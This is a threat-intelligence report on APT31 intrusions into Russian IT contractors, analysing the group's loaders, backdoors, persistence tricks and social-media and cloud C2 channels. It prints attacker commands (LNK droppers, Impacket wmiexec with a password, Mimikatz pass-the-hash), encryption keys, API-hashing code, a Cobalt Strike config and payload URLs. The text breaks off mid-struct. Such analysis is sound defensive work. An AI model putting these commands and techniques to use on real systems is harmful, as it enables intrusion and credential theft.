Authors:
Daniil Grigoryan
Senior Specialist, Cyberthreat Response Department
Varvara Koloskova
Specialist, Threat Intelligence Department
Daniil Grigoryan
Senior Specialist, Cyberthreat Response Department
Varvara Koloskova
Specialist, Threat Intelligence Department
APT31 is a cyberespionage group focused on industrial espionage and theft of intellectual property. The group disguises its tools as legitimate software and abuses legitimate online services to establish bidirectional C2 channels for its malware.
From 2024 to 2025, Russia's IT sector — particularly contractors and systems integrators serving government agencies — was hit by a series of targeted cyberattacks. What made these attacks stand out was the attackers' well-planned tactics, which let them stay undetected for a long time. While investigating the incidents, we were able to link some of the attacks to APT31, reconstruct the group's tactics and techniques, and obtain unique samples of its tools.
The attackers used both third-party tools (for lateral movement and reconnaissance) and their own malware, including LocalPlugx, CloudSorcerer, COFFProxy, VtChatter, CloudyLoader, OneDriveDoor, and GrewApacha.
To covertly control their malware, the attackers abused legitimate web services. They placed encrypted commands and payloads in profiles on popular social networks — both Russian and international — as well as on other platforms. This allowed the attackers to bypass traditional security controls, since traffic to these services did not look suspicious.
The attackers were well aware of how the target organizations operated. They carefully chose when to act, focusing on weekends and public holidays. One notable example was a large-scale attack launched over the New Year holidays. Because the corporate infrastructure stayed online, they managed to break into the systems, establish a foothold, deploy their tools, and carry out reconnaissance inside the corporate network.
It is likely that the attackers followed a prewritten scenario, simply copying and running prepared commands. During the investigation, we found LocalPlugx installed on many computers with the keylogger module enabled. Analysis of the data captured by the keylogger showed that all commands were pasted from the clipboard rather than typed manually. These keylogger logs allowed us to reconstruct the commands the attackers executed in the compromised infrastructure.
During an incident investigation at a Russian IT company in July 2025, the PT ESC IR team determined that the attackers had actually broken into the infrastructure back in late 2022. They then used the New Year holidays in early 2023 to advance the attack.
In December 2024, PT ESC TI observed another variant of this attack. In that campaign, APT31 sent a phishing email that looked as if it came from a procurement manager. The email attached a malicious archive named Требования.rar (translated as "Requirements.rar") containing an LNK file that launched a lure document and CloudyLoader, a Cobalt Strike loader. This attack is described in more detail in a separate article.
The LNK file first unpacked and opened the lure documents (Company Profile.pdf and List of requirements.pdf). It then used DLL sideloading to run the malicious library BugSplatRc64.dll with CloudyLoader.
"C:\Windows\System32\cmd.exe" /c echo F |
xcopy /h /y %cd%\Требования\Требования C:\Users\Public\Downloads\
& start %cd%\Требования\
& ren C:\Users\Public\Downloads\Company.pdf nau.exe
& ren C:\Users\Public\Downloads\Requirements.pdf BugSplatRc64.dll
& C:\Users\Public\Downloads\nau.exe
APT31 used the same technique outside Russia as well. We found an archive named Seguro_de_lMRE.zip, which appears to have been downloaded in Peru.
The archive contained files with the following structure:
The shortcut Seguro_de_lMRE.pdf.lnk unpacked all files into a temporary folder and then displayed the lure document Seguro_de_lMRE.pdf.
/c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C %TMP%"
&&cmd /c %TMP%\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c %TMP%\__MACOSX\~\~\~\~\~\BsSndRpt64.exe
&&cmd /c attrib +h +r +s +a %TMP%\__MACOSXCommand in the LNK file Seguro_de_lMRE.pdf.lnk
The document was disguised as a financial report from the Ministry of Foreign Affairs of Peru.

The LNK file then launched the legitimate application BsSndRpt64.exe, which is vulnerable to DLL sideloading. The application then loaded the BugSplatRc64.dll library with the CloudyLoader payload.
To collect information about hosts in the compromised infrastructure, APT31 used SharpADUserIP, a C# tool that extracts usernames and IP addresses from event 4624 in Security.evtx.

To identify RDP sessions, the attackers ran a PowerShell script that used the Get-WinEvent cmdlet to search for events with ID 21 (RDP logon). From those events, the script collected usernames and IP addresses of RDP connections.
powershell -Command Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$_.Id -eq 21} | ForEach-Object { $eventXml = [xml]$_.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login Time: ' + $loginTime) }}
We also observed the following additional tools:
For network scanning, the attackers used Advanced IP Scanner, which allowed them to quickly identify devices across the environment.
To maintain persistence, the attackers used the Windows Task Scheduler with MITRE technique T1053.005. They named their tasks after well-known legitimate software, such as YandexDisk, GoogleUpdater, and NVIDIA, to blend in with normal activity.
Appvservers
WPDsync
NVIDIADEBUG
WInSeting
Microsoft\Windows\pwrshplugin\exeStart
7zup_Server
Microsoft\Windows\Tcpip\IpConf
Microsoft\Windows\ApplicationData\appuriverifierinstalls
Crashpad_Server
Yandexstart_Server
WinDeviceSync
DataMAVServer
YandexDisk_Servers
LAPSClientUp
GoogleUpdater
GoogleRecovery
PretonDebug
WinDeviceSync1
On some hosts they created hidden tasks. This technique is described in a Solar 4RAYS blog post: the attacker creates and runs a malicious task, then deletes the property SecurityDescriptor (SD) from the registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ and removes the XML task file from the directory C:\Windows\System32\Tasks.
Below is an example of commands executed by APT31 in the compromised infrastructure:

This style of gaining persistence is common among Asian threat groups. Positive Technologies' own tool PT Dumper includes a module designed to detect this technique. PT Dumper is a Golang-based utility for collecting telemetry and analyzing data (for anomaly detection) on Windows, Unix, and macOS hosts.
The tool is a compiled binary signed with a trusted digital certificate, which ensures stable operation and avoids conflicts with other information security tools installed on the hosts under test.
PT Dumper has proven effective in incident response investigations involving complex targeted attacks and ransomware, and it also helps identify previously unknown malware.
PT Dumper can be requested by emailing ir.esc@ptsecurity.com (requests must be sent from a corporate email address).
The module looks for three cases: deletion from the file system, deletion of the security descriptor (SD), and modification of the index.

Another interesting payload execution method we observed involved the attackers running the executable C:\WINDOWS\system32\oobe\Setup.exe in the compromised infrastructure. This is a system executable file responsible for the Windows initial setup (OOBE, Out-of-Box Experience). It runs when a new machine is first powered on or after a clean installation, walking the user through account creation, license acceptance, and basic configuration. If an error occurs when this file runs, the CMD script C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is called.
To trigger such an error, the attackers created a scheduled task that run Setup.exe with the /ui argument.
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\oobe\Setup.exe</Command>
<Arguments>/ui</Arguments>
</Exec>
</Actions>
Running this file triggered an error that would normally be handled by the ErrorHandler.cmd script. Instead, the attackers had placed their payload in the file. The example below shows the contents of the file ErrorHandler.cmd.

To create an encrypted tunnel and set up a peer-to-peer (P2P) network between the compromised host and the attacker infrastructure, the attackers used the legitimate tool Tailscale VPN. This allowed them to move data covertly and bypass perimeter defenses.
APT31 also used Microsoft dev tunnels for traffic tunneling, via the Microsoft-signed file devtunnel.exe. The attackers combined this tool with the LocalPlugx malware, which listened for commands on a specific port.
This tunneling technique gives the attacker several advantages:
Dev tunnels supports several operating modes that control who can access your tunnel:
In the compromised infrastructure, we observed devtunnel.exe being launched in Public mode via the Windows Task Scheduler.
<Actions Context="Author">
<Exec>
<Command>C:\WINDOWS\system32\Devtunnel.exe</Command>
<Arguments>host [REDACTED] -a</Arguments>
</Exec>
</Actions>
To hide their activity on the host, the attackers cleared event logs using wevutil.

They deleted files from the working directory with the following command:

On several compromised hosts, the attackers created a local administrator account and then used that account to move laterally between the hosts.

For lateral movement inside the perimeter, the group used tools from the public Impacket toolkit, including WmiExec and SmbExec, as well as RDP.
Below is an example of lateral movement to a compromised host using the created local administrator account Administrator$:
impacket-wmiexec Administrator$:'e=lim(1+1/n)'@192.168.22.3
The following command uses the Mimikatz utility to perform a Pass-the-Hash (PTH) attack in combination with RDP Restricted Admin Mode:
sekurlsa::pth /user:radmin /domain:[REDACTED] /ntlm:[REDACTED] "/run:mstsc.exe /restrictedadmin"To obtain credentials of the compromised host users, the attackers exported registry hives.

They then used the public Impacket utility secretdump.py to extract credential data from the registry.

During the investigation of an incident linked to this group, we also identified a malicious IIS module designed to steal Outlook on the web users' credentials. The OWOWA module is installed on a web server and monitors HTTP requests and responses on the Outlook sign-in page. When a user enters their credentials, the module intercepts the login and password and writes them to a file.
In our case, the attackers deployed OWOWA after they had already gained access to the infrastructure.
The code contains two event handlers in the ASP.NET/IIS pipeline.
The context_BeginRequest handler for the BeginRequest event intercepts every incoming HTTP request at the very beginning. If the request URL contains owainfo_log, the handler intercepts the request and returns the decrypted log file with collected credentials. If the request contains /owainfo_log/del, it deletes the log file. This gives the attackers a simple way to manage the collected credentials.

The second handler processes the PreSendRequestContent event, intercepting the HTTP response before it is sent to the client. At this stage, the malware analyzes the login form and, if it finds username and password fields, writes their values to the file.

We have seen different OWOWA variants in other incidents. In many cases, the log file is encrypted with RSA. In this case, the attackers used AES (AES key: Io8Mqhw6P6WPPDgCcTHlQ3g6qjWiTwGj; IV: Xy1kAas6muDVK2wK).
The attackers used both previously known malware, including LocalPlugx, CloudSorcerer, and GrewApacha, as well as unique tools:
To deliver malware to compromised hosts, APT31 used a shared network drive inside the victim infrastructure and copied tools from it with the following command:
copy \\[REDACTED]\Distr$\test\*.* C:\ProgramData\Microsoft\[REDACTED]\ /yOne of the most frequently observed malware families on compromised hosts was the LocalPlugx backdoor, which consists of a legitimate executable file, a dynamic library (loader), and an encrypted shellcode file manifest.txt. Execution was performed using the classic DLL sideloading technique.
The DLL that implements the core shellcode decryption functionality is protected with VMProtect and uses custom section names. In some cases, these section names matched the name of the compromised organization.

Unlike standard variants, LocalPlugx operates in server mode, most often listening on ports 53 and 5355, although other configurations are possible. Interestingly, on a system infected with this backdoor, the attackers ran a netsh command for the PlugX listening port, adding a firewall rule to allow an incoming TCP connections on port 5335.
netsh advfirewall firewall add rule name="MicroDeviceSync' protocol=TCP dir=in localport=5355 action=allowCommand to open a local port
LocalPlugx functionality is split into two components:
LocalPlugx performs code injection into various Windows processes. First, the backdoor checks which application context it is running in and switches to one of the two modes accordingly. If it is not already injected into a target process, it injects itself into specific Windows processes. The two backdoor components communicate via the pipe \\.\PIPE\X<PID>.
During incident investigations, we observed that the wksprt.exe and explorer.exe processes were added to the typical PlugX injection processes (winlogon.exe and msiexec.exe).
LocalPlugx can manage its current connection, tunnel traffic, and execute plugin commands. Among the standard plugins the most notable was a keylogger plugin.
All of the techniques described above were confirmed by attacker commands that we recovered thanks to LocalPlugx running on compromised hosts with the keylogger module enabled.
The keylogger creates two files:
In order to steal keystrokes and clipboard data, the malware creates a raw input device (RawInputDevice). In the keylogger module, all incoming messages were continuously redirected, and the device intercepted them and wrote the data to the corresponding files.

The data in these files is saved using a specific format: for keylogging data, the malware stores the application name and window title into which the data was entered.

The messages are encrypted using a single-byte XOR, with the high bit overwritten in each byte of the character representation.

We successfully decrypted the log files. On some hosts, we found attacker commands inside the ntuser.dat.LOG2 files. This indicates that the commands were pasted from the clipboard rather than typed manually. This strongly suggests that the attackers followed a prepared scenario, simply copying and executing commands.
APT31 still uses CloudSorcerer, a two-module backdoor that is structurally similar to LocalPlugx. It is delivered to the system together with a DLL (loaded via DLL sideloading and protected with VMProtect) that decrypts the shellcode using a 4-byte XOR key. The shellcode then decompresses an LZNT1-compressed backdoor and runs it.
CloudSorcerer includes a server module and a backdoor module that communicate over the pipe .\\PIPE\\[%d]. Both modules run in Windows system processes. The following processes were used most often:
The server module does not contain a hardcoded C2. Instead, it retrieves an encrypted message from public sources (for example, mail[.]ru) and decrypts it by first decoding it from Base64 and then applying a simple substitution cipher.
The decrypted data is a token for one of the cloud C2 servers:
cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com
The backdoor module has changed very little; its command set remains almost the same.
The attackers delivered a file named time to Linux hosts. Inside it we found a backdoor that uses the WolfSSL library for C2 communications. We refer to this backdoor as AufTime.
AufTime supports file operations, multiple concurrent connections, and traffic tunneling.
On startup, AufTime opens two shared memory segments: /shd_mem_SE0v0 and /shd_mem_SE0v0_2.

Malware checked the state of the first segment /shd_mem_SE0v0. If more than one process is attached to the shared memory, it aborts to enforce a single-instance launch. Otherwise, it executes itself as a system daemon, without redirecting standard streams.
Next, AufTime registers handlers for a set of signals to either ignore them or to continue execution in case of an error:
Next, the backdoor changes its own argv, appending "0" and a command line argument that imitates Linux system processes, for example [kworker/5:5-events].

Next, a new child process is created. The child process writes the current PID to the second shared memory segment, /shd_mem_SE0v0_2. The parent process exits as soon as this child process is no longer reachable.

The main AufTime logic is implemented in do_connection. This function establishes a TLS connection to the C2 server; it assigns it ID_connection = 1.

As a result, a connection structure (conn_tls) is built.
struct conn_tls {
_QWORD wolfssl_conn;
_DWORD socket;
_DWORD ID_connection;
int current_command;
__attribute__((aligned(8))) _BYTE flag_1_readfromit; // if true - ready to read from server
_BYTE flag_2_commandexec; // if true - ready to read command
_BYTE flag_3_writeinit; // if true - ready to write _QWORD time;
};
The newly created structure is added to the global poll array of connections, and the server is sent command 0×10000001 with the current value /etc/machine_id, that is, information about the compromised host.

In the poll_run function, the current connections are managed based on set flags:

Commands are handled by handle_command after the data is received from the C2.
AufTime supports about 20 commands (listed below). The sample also includes multiple unused functions, including a C2 connection without using TLS. This suggests the tool is still under development and that additional features may be added later.
| Number | ID | Description |
|---|---|---|
| 1 | 0×10000001 | Send information about the server |
| 2 | 0×10000003 | Heartbit |
| 3 | 0×10000004 | Terminate execution |
| 4 | 0×10000010 | Send information about the server in JSON format (secure version) |
| 5 | 0×10000021 | Create reverse-shell and redirect control to /bin/sh, transit to 0×10000024 |
| 6 | 0×10000024 | Write data to the interpreter |
| 7 | 0×10000030 | Receive a folder name and send ls to the server |
| 8 | 0×10000031 | Obtain the file name and delete it |
| 9 | 0×10000033 | Receive a folder name, create it, and return the handle |
| 10 | 0×10000040 | Obtain the command and execute it using sh -c \<command\>, send results |
| 11 | 0×10000041 | Read data from the server |
| 12 | 0×10000045 | Create a new SSL connection by sending only the 0×10000046 in response |
| 13 | 0×10000047 | Obtain the file name and send its size to the server |
| 14 | 0×10000048 | The response is to send the file to the server |
| 15 | 0×10000049 | Retrieve the file name, determine the size of the data, append it to the end of the file, and send the new size back to the server |
| 16 | 0×1000004A | Send command 0×1000004B to the server and set the read flag to True |
| 17 | 0×10000051 | Create a SOCKS5 proxy Connections can be made via hostname, IPv4, or IPv6. The proxy is marked with command 0×10000053, and a success notification 0×10000052 is sent to the server. This type of connection is tagged with its own flag (provided by the server) so it can be distinguished from all others |
| 18 | 0×10000053 | Write data obtained from the server to proxy |
| 19 | 0×10000091 | Same as 0×10000045 |
| 20 | 0×10000093 | Retrieve the file name and send its contents to the server starting from the specified offset using command 0×10000094 |
| 21 | 0×10000094 | Response to the server containing the file contents |
The 0×10000001 command is worth noting separately, as it collects victim information and sends it to the C2 in JSON format:
{
"hostname" : <gethostname>,
"sys_name" : <uname>,
"node_name" : <uname.nodename>,
"release": <uname.release>,
"username" : <name>,
"lan": <lan_addr>,
"gid" : <getegid()>
}COFFProxy is a small backdoor that uses payloads in Coffloader's BOF (Beacon Object File) format. It supports commands for traffic tunneling, file operations, loading additional Beacon payloads (created via Coffloader), and privilege escalation via impersonation.
The backdoor supports three different C2 servers, which it tries in sequence: if one fails, it moves on to the next, and so on. It also supports a server mode.
The encrypted shellcode is decrypted by the DLL SSPICLI.dll. That shellcode injects the backdoor into C:\Windows\System32\audiodg.exe.
The configuration is stored unencrypted in the data section and is 0×400 bytes in size. In raw form it looks like:
struct raw_conf
{
__int16 work_hours[14];
int sleep_delta;
int period;
char ID_client[12];
int bind_port;
int port1;
int port2;
int port3;
__int16 c2_1_len;
__int16 c2_2_len;
__int16 c2_3_len;
char c2_1[c2_1_len];
char c2_2[c2_2_len];
char c2_3[c2_3_len];
};
The backdoor uses a more extended configuration, which also contains the malware version. All analyzed samples reported version v12.1.
When it starts, COFFProxy checks the current time and day of the week against the corresponding work_hours entry. If the current time falls outside the configured working hours for that day, the backdoor exits. In the analyzed samples, the backdoor did not run on Sundays.

If the check succeeds, the backdoor tires to connect to the domains specified in the configuration; alternatively, it can switch to listening for incoming connections on a specified port.

All messages sent to the server are encrypted with AES. The AES key is stored in the configuration and was the same in all examined samples.
Decrypted messages have the following structure:
struct msg_header
{
char Id_string[12]; // current connection ID
int command;
_DWORD field_10; // dop command in golang
int error_num;
int vec1_counter;
int vec2_counter;
};
struct msg_params{
vector_str vec_1; // additinal connections id
vector_str vec_2; // command parameters
}
struct msg{
msg_header header;
msg_params params;
}
In the raw message, all fields from the msg_header structure are transmitted directly.
Parameters of the first and second types are transmitted in the raw message separated by the tab character \t. The number of parameters of each type is determined by the vec1_counter and vec2_counter fields, respectively. Parameters of the first type contain the IDs of the connections to be addressed, while parameters of the second type contain command data.
The main COFFProxy commands are:
The following commands run in a separate thread:
If vec_1 is set, subsequent operations must use the proxy whose ID is given in vec_1. In this case, only ≥ 0xB0 commands are allowed. If a command with a lower value is received, this proxy is disconnected.
The same backdoor, but written in Golang and compiled for Linux. It is additionally obfuscated with Garble and was observed on systems under the name time. This version is functionally similar, but instead of executing BOF it uses an internal command interpreter that performs actions depending on additional commands.
The file configuration does not have the work_hours parameter, so the backdoor can run at any time; a sample ID and C2 connection parameters are still present.

The Golang version uses a simpler configuration structure in which parameters are separated by a single \t. The backdoor version in this case is L12.1a.
{
char magic[];
_BYTE separator1; // \t
char bind_port[];
_BYTE separator2; // \t
char c2_addr_1[];
_BYTE separator3; // \t
char c2_port_1[];
_BYTE separator4; // \t
char c2_addr_2[];
_BYTE separator5; // \t
char c2_port_2[];
_BYTE separator6; // \t
char c2_addr_3[];
_BYTE separator7; // \t
char c2_port_3[];
_BYTE separator8; // \t
}
The message structure remains the same (but adjusted for Golang), which explains the gaps in the messages:
struct msg_header{
_BYTE magic[12];
int command;
int dop_command;
int ret_error;
int param1_size;
int param2_size;
}
struct msg_params{
slice param1; // slice with string array
slice param2; // slice with string array
}
struct msg{
msg_header header;
msg_params params;
}
The command list is slightly different (commands 0xB1, 0xB2, and 0xB4 are unchanged).

VtChatter is a DLL named NVIDIADEBUG.dll, which was launched every two hours using Windows Task Scheduler.
<Actions Context="Author">
<Exec>
<Command>C:\Windows\system32\rundll32.exe</Command>
<Arguments>C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun</Arguments>
</Exec>
</Actions>
The executable contains an export function named fun, which implements the core functionality. VtChatter uses comments on a specific file on VirusTotal as a two-way C2 channel.
The file ID (file_id) and VirusTotal API token (x-api-key) are stored inside the malware, encrypted with RC4 using the key -032yhns1! -=.
FileID: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
X-API-KEY: [REDACTED]
Interestingly, VtChatter can execute only one command from C2 per run, so the attackers run it every two hours.
The malware behavior can be divided into the following stages:
1.Receiving a command. Using the VirusTotal API, the malware sends a request to the following URL: https://virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments. In response, it receives a JSON object containing the fields id and text (a comment on the file).
GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Host: www.virustotal.com
Connection: Keep-Alive
Cache-Control: no-cache
2.Decrypting the command. The text field of the JSON response contains the file comment encoded in Base64. The malware decodes the data from Base64 and then decrypts it with RC4 using the key usde-092d.
The decrypted data is expected to have the following structure:

Let's consider the following example:
Encrypted data: SJemLS14Qq2KF4cNVkn/cc5v
Base64 → RC4 with the key usde-092d: bb bb aa aa 06 00 00 00 93 2e cc b0 1d 73 36 6c 2f 7e
From this we obtain: marker: 0xAAAABBBB; encrypted message length: 6; RC4 key: 93 2e cc b0; and encrypted command. We then decrypt the command 1d 73 36 6c 2f 7e with RC4 using the key 93 2e cc b0. The result is the whoami command.
3.Executing the command. The command is executed using the Command Output Redirection via Pipes technique.
Pipe creation:
CreatePipe(p_hObject_1 + 3, p_hObject_1 + 2, &lpMultiByteStr, 0) // stdin pipe
CreatePipe(p_hObject_1 + 1, p_hObject_1, &lpMultiByteStr, 0) // stdout/stderr pipe
Redirection of standard streams:
StartupInfo.hStdInput = hStdInput; // stdin from pipe
StartupInfo.hStdOutput = hObject; // stdout to pipe
StartupInfo.hStdError = hObject; // stderr to pipe
After the command is executed, the malware reads the created Pipe.
4.Sending the command output. Once the command is executed, the malware generates a 4-byte RC4 key that will be used to encrypt the result. The command output is packed into a message of the following form:
The message is then encrypted with RC4 using the same key usde-092d and encoded in Base64.
The resulting message is embedded into a JSON object and posted as a file comment via the VirusTotal API.
Using the known VirusTotal user token, we were able to obtain the following information: username: planningmid; registration date: November 15, 2022; last login: May 5, 2023.
"id": "planningmid",
"type": "user",
"links": {
"self": "https://www.virustotal.com/api/v3/users/planningmid"
},
"attributes": {
"collections_count": 0,
"reputation": 1,
"user_since": 1668479246,
"first_name": "mid",
"last_name": "planning",
"certified": false,
"apikey": "",
"mandiant_uuid": "planningmid",
"private": false,
"status": "active",
"preferences": {
"ui": {
"last_read_notification_date": 1683255623
}
},
"email": "planningmid@mail.ru",
"sso_enforced": false,
"last_login": 1683255597,
We also found out that the attackers posted comments on the following files: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb, f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268.

In addition to encrypted whoami commands, in August 2025 we registered the following response: WYa3PBF4Qq0qdNvTtvcI3Ch/O2Zy2Mvdq2JfMq4Efi4yN3xl+T09mSxYqfwe1uaF7sM4CBJlJbDkEeV9SwbnBgU/BV7PzQ==.
After decryption, we obtained the following data:
Marker: 0xbbbbaaaa; length of the encrypted data: 58; RC4 key: b'334d906e'
Command output: windows-ldnd2ke\denise
The CloudyLoader sample consists of a legitimate executable mskeyptotect.exe (a component of BsSndRpt.exe from the BugSplat crash and error reporting service); the BugSplatRc64.dll dynamic library; and the payload file try. BugSplatRc64.dll is loaded via DLL sideloading.
The dynamic library is protected with VMProtect v3 with anti-debugging checks enabled. The main tasks of the malicious dynamic library is to decrypt the try file; create a makecab.exe process; and inject the decrypted shellcode from the try file into this process.
When execution reaches the DLL entry point, it installs a hook on the MessageBoxW function. When this function is called, the mskeyptotect.exe executable calls the hook function of the dynamically linked BugSplatRc64.dll. This technique makes it harder to detect the malware in a sandbox without the executable file.

At startup, the DLL creates the mutex BugRpt_A85.
All Windows APIs used for file operations, mutex creation, and process creation are hashed with the following algorithm:
def CalculateAPIHash(data: bytes):
v3 = 0xFFFFFFFF
for byte in data:
temp1 = (2 * byte) ^ ((2 * byte) ^ (byte >> 1)) & 0x55555555
v4 = temp1 >> 2
v5 = 4 * temp1
temp2 = v5 ^ (v5 ^ v4) & 0x33333333
v6 = ((temp2 >> 4) | (16 * (temp2 & 0xFF0F0F0F))) & 0xFFFFFFFF
v8 = int.from_bytes(v6.to_bytes(4, 'little'), 'big')
for _ in range(8):
if (v3 ^ v8) & 0x80000000:
v3 ^= 0xC520DEC7
v3 = (v3 * 2) & 0xFFFFFFFF
v8 = (v8 * 2) & 0xFFFFFFFF
v9 = (~v3) & 0xFFFFFFFF
v10 = (4 * ((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555)) & 0xFFFFFFFF
v11 = (v10 ^ (v10 ^ (((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555) >> 2)) & 0x33333333) & 0xffffffff
v11 = ((16 * v11) ^ ((16 * v11) ^ (v11 >> 4)) & 0xF0F0F0F) & 0xffffffff
return int.from_bytes(v11.to_bytes(4, 'little'), 'big')
After the address of the target function is obtained and the function is executed, the function pointer is wiped — presumably as a measure to complicate dynamic analysis.

At the next stage, BugSplatRc64.dll reads the file try and decrypts it using an XOR operation with the key AB CD 76 A5. It then creates a process named makecab.exe in a suspended state.
To inject the shellcode from the try file, the malware uses direct system calls (direct syscalls).
The algorithm for resolving syscall functions is as follows: From the PEB structure, we obtain the address of ntdll.dll and iterate over all export functions; if a function name starts with Zw, its hash value is calculated. After hash values have been calculated for all Zw functions, they are placed into an array as pairs of “hash value, system call number,” and this array is then sorted using bubble sort. As a result, an ordered array of 464 Zw functions from ntdll.dll is obtained.
The figure below shows the code for calculating all ComputeZwHash functions and retrieving the syscall function number.

The algorithm for hashing the syscall function name is as follows:
def ComputeZwHash(function_name):
hash_sum = 0xCEC79E15
for i in range(0, len(function_name)):
if i + 1 < len(function_name):
char = (function_name[i + 1] << 8) | function_name[i]
else:
char = function_name[i]
temp = ror(hash_sum, 8,32)
temp = (temp + char) & 0xFFFFFFFF
hash_sum = hash_sum ^ temp
return hash_sum
To inject the shellcode into the process, the loader uses the Remote Thread Injection technique and calls the following functions:
ZwAllocateVirtualMemory 0xc354d9c7
ZwWriteVirtualMemory 0x46543e95
ZwProtectVirtualMemory 0x3bad717f
ZwResumeThread 0x3e1220a8
ZwOpenThread 0xea9c49f
ZwSuspendThread 0x34a33e15
ZwClose 0xc9a1527
ZwSetContextThread 0x94acca16
ZwGetContextThread 0x286b36e8
After the shellcode is injected into the makecab.exe process, the main process terminates and execution is passed to the shellcode.
The decrypted try file consists of:
The second-stage shellcode uses the Reflective Loader technique to inject the DLL payload into the process address space. In addition, the ROR13 algorithm is used to hash function names. A similar code implementation is shown here.
The main payload is a dynamic library.
MD5: e6e73c59eb8be5fa2605b17552179c2f SHA1: 7a3139e80ea8c9d4bebf537d5497e19b3169ac09 SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b
Interestingly, the code of the main payload is identical to the code of the BugSplatRc64.dll dynamic library.
Next, the DLL that is loaded into memory loads a CobaltStrike Beacon implant.
Stages of obtaining the main payload:
1.The request to the scrcpyClone repository of user Range1992: https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy. In the data received from Git, the malicious code searches for the start marker QQNSR4u and the end marker ZsNpk7Y of an encoded string. It then extracts the data between these markers, decodes it from Base64, and decrypts it with RC4 using the key 03 07 A0 B0 E3 80 88 77. The decrypted value is a URL of the main payload.

2.The decrypted address https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP is used to load the encrypted CobaltStrike implant, which includes:

The payload is a Cobalt Strike Beacon shellcode with the following configuration:
| BeaconType | HTTPS |
| Port | 443 |
| SleepTime | 77665 |
| MaxGetSize | 409721416 |
| Jitter | 46 |
| PublicKey_MD5 | fe7aa97fbe3fe21e59ead1792ca2dc58 |
| C2Server | Moeodincovo.com,/divide/mail/SUVVJRQO8QRC, www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC |
| UserAgent | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 |
| HttpPostUri | /Terminate/v6.49/LTKAZNE9 |

By analyzing the attacker's account, we discovered that the last activity of user Range1992 was on December 5, 2024. On that day, the attackers created a fork of the scrcpy project and added the malware files.

The executable file Seting.exe is a ThreadRacer CPU benchmark component that is vulnerable to DLL sideloading. It loads the dynamic library pl_rsrc_english.dll, which acts as a shellcode loader. The shellcode is stored in language.dll, encrypted with RC4, where the first 8 bytes of the file are used as the key.
The dynamic library pl_rsrc_english.dll decrypts this shellcode and injects it into a new winrshost.exe process. The shellcode loads the backdoor executable into the address space of winrshost.exe. Interestingly, the MZ signature is replaced with 0×22 0×11; PE is replaced with 0×44 0×33.

At startup, the backdoor creates the mutex 7ijPFUKNV8QRoGVo. It then generates the ID of the infected machine and connects to C2, which is implemented on Microsoft OneDrive.

After that, the backdoor enters a loop in which it receives messages.
Initially, OneDriveDoor (as a check of access to the drive) sends information about the infected machine to the file /root:/<ID>/8110 in the cloud. The following information about the system is collected: computer name; username; IP address of the infected host; PID; current working directory; whether the are administrator rights.
All parameters are separated by tabs and digits are converted to strings.
If the data is successfully sent to the server, the backdoor starts executing commands. The malware contacts the server every few seconds, but no longer than for five minutes.
The malware receives commands to execute on the compromised system in a JSON response to a request to the URL https[:]//graph.microsoft[.]com//v1.0/me/drive/root:/<ID>/config1:/children?select=name. The response contains a list of all files located in the <ID>\config1 directory.
{
"value": [
{ "name": "filename1" },
{ "name": "filiname2" }
]
}
In this case, the attackers obtain the list of commands to be executed on the infected machine with the specified ID. The commands are the names of the files from the folder. If the file command_file contains one of several numeric strings, the corresponding command is executed.
| number | description |
| 8110 | Send information about the infected machine (only within the message loop) |
| 8111 | Retrieve a file and write it, in encrypted form, to the victim's system at the specified path |
| 8112 | Send an encrypted file from the computer to C2 |
| 8113 | Send information about free disk space |
| 8114 | Execute an additional (extended) command |
| 8115 | Terminate the cmd process from command 8114 |
| 8116 | list dir: recursively collects information about files in the specified folder, including last modification time, size, and attributes |
| 8117 | Delete the specified file |
| 8118 | Create a directory (the name is provided by the server) |
| 8119, 8120, 8121 | Rename the file: requests from the server a string containing file names separated by a tab character |
If additional parameters are required, they are taken from the file <ID>/config1/<command_file> by sending an additional request to retrieve the file contents. The only exceptions are file-read commands: only one parameter is extracted from the contents of the command file — the name of the file that will be written or read. The contents of the file will be (or already are) located at the path <ID>/VirtualServ/<command_file>.
After a command is executed, the file corresponding to that command (command_file) is deleted. The results are sent to a file at <ID>/<command_file>.
Command 8114, which is intended for executing additional cmd commands, should be considered separately.

Let's move on to the function responsible for processing this command. Inside it, the internal class cmd is initialized and two threads are started: one for executing commands (cmd: DownloadThreadProc), and one for collecting and processing results (cmd: OutputThreadProc).
struct cmd {
__int64 hCMD;
__int64 pipe_read1;
__int64 pipe_write2;
__int64 pipe_write1;
__int64 pipe_read2;
__int64 hOutPut;
__int64 hMainCmd;
int flag_need_exec;
int flag_nostr2;
void *hcurl1;
void *hcurl2;
mystr str1;
mystr str2;
tree *tree_paths;
__int64 field_98;
tree *tree_commands;
__int64 field_A8;
